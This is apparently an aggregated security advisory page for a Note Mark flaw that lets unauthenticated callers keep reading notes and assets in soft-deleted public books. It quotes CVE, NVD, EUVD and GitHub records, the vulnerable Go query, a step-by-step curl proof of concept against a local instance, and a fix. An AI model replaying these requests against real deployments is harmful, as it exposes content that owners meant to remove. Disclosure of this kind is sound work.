Note Mark: Unauthenticated read of notes and assets in soft-deleted public books

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Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Source published

4 May 2026 17:44:01 UTC

Source modified

4 May 2026 19:39:55 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Source published

May 4, 2026, 5:44:01 PM (timezone not stated)

Source modified

May 4, 2026, 7:39:55 PM (timezone not stated)

Observed here

7 Nov 2026 13:22:39 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Note Mark is an open-source note-taking application. Prior to version 0.19.3, after a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw "JOIN books ..." clauses used by the note and asset queries. This issue has been patched in version 0.19.3.

Source published

4 May 2026 18:16:29 UTC

Source modified

26 Oct 2026 19:10:00 UTC

Observed here

27 Oct 2026 10:10:19 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

## Summary After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at `/api/notes/{id}`, `/api/notes/{id}/content`, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw `JOIN books ...` clauses used by the note and asset queries. ## Details `DELETE /api/books/{bookID}` sets `books.deleted_at` to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter `books.deleted_at IS NULL`: ```go // backend/services/notes.go:91-98 (GetNoteByID) func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) { var note db.Note return note, dbErrorToServiceError(db.DB. Preload("Book"). Joins("JOIN books ON books.id = notes.book_id"). Where("owner_id = ? OR is_public = ?", currentUserID, true). First(&note, "notes.id = ?", noteID).Error) } ``` GORM applies its soft-delete scope to the primary model of a query (here, `notes`) and to implicit `Joins("Book")` association clauses. It does not rewrite raw SQL passed to `Joins`. The soft-deleted book row keeps `is_public = true`, so the `WHERE owner_id = ? OR is_public = ?` clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (`currentUserID = nil`), `owner_id = NULL` fails but `is_public = true` passes, so the note query returns the row. note-mark has a restore flow at `PUT /api/notes/{noteID}/restore` (`backend/services/notes.go:232-262`) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that `is_public = true` survives the deletion, so unauthenticated callers keep access the owner chose to revoke. The same raw-join pattern repeats at 9 more call sites in `backend/services/notes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in `backend/services/assets.go` (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug. ## Proof of Concept Tested against `note-mark` v0.19.2. Step 1: Start note-mark. ```bash docker run -d --name note-mark-poc -p 8088:8080 \ ghcr.io/enchant97/note-mark-backend:0.19.2 ``` Step 2: Alice signs up and logs in. ```bash curl -X POST http://localhost:8088/api/users \ -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"Alicepass123!","name":"Alice"}' curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \ -H 'Content-Type: application/json' \ -d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}' ``` Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response. ```bash curl -b alice.cookies -X POST http://localhost:8088/api/books \ -H 'Content-Type: application/json' \ -d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}' # {"id":"<BOOK_ID>", ...} curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \ -H 'Content-Type: application/json' \ -d '{"name":"Secret Note","slug":"secret-note"}' # {"id":"<NOTE_ID>", ...} curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \ -H 'Content-Type: text/plain' \ --data 'This is Alice secret note content.' ``` Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book. ```bash curl http://localhost:8088/api/notes/<NOTE_ID>/content # This is Alice secret note content. ``` Step 5: Alice soft-deletes the book. ```bash curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID> # HTTP/1.1 204 No Content ``` Step 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob. ```bash curl -w "\n%{http_code}\n" http://localhost:8088/api/books/<BOOK_ID> # 404 curl -w "\n%{http_code}\n" http://localhost:8088/api/notes/<NOTE_ID> # {"id":"<NOTE_ID>","name":"Secret Note", ...} # 200 curl http://localhost:8088/api/notes/<NOTE_ID>/content # This is Alice secret note content. curl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note # {"id":"<NOTE_ID>","name":"Secret Note", ...} ``` A companion script that drives Steps 1-6 ships at `pocs/poc_005_bac_soft_deleted_book.sh`. ## Impact Any owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because `is_public = false` and `owner_id = NULL` both fail the visibility check for non-owners. ## Recommended Fix Add a soft-delete filter to the visibility clause on every raw `Joins("JOIN books ...")`. Keep the owner's access intact so the restore flow at `PUT /api/notes/{id}/restore` continues to work: ```go // backend/services/notes.go:91-98 (GetNoteByID) return note, dbErrorToServiceError(db.DB. Preload("Book"). Joins("JOIN books ON books.id = notes.book_id"). Where("(books.deleted_at IS NULL OR books.owner_id = ?)", currentUserID). Where("owner_id = ? OR is_public = ?", currentUserID, true). First(&note, "notes.id = ?", noteID).Error) ``` The same transform applies to each of the 13 call sites in `backend/services/notes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and `backend/services/assets.go` (lines 29, 73, 106, 143). `backend/cli/clean.go:31` uses the same join pattern but is a maintenance CLI and does not need the fix. --- *Found by [aisafe.io](https://aisafe.io)*

Source published

25 Apr 2026 23:40:37 UTC

Source modified

25 Jun 2026 18:56:06 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Publisher rating · MODERATE

Note Mark: Unauthenticated read of notes and assets in soft-deleted public books in github.com/enchant97/note-mark/backend

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:17 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.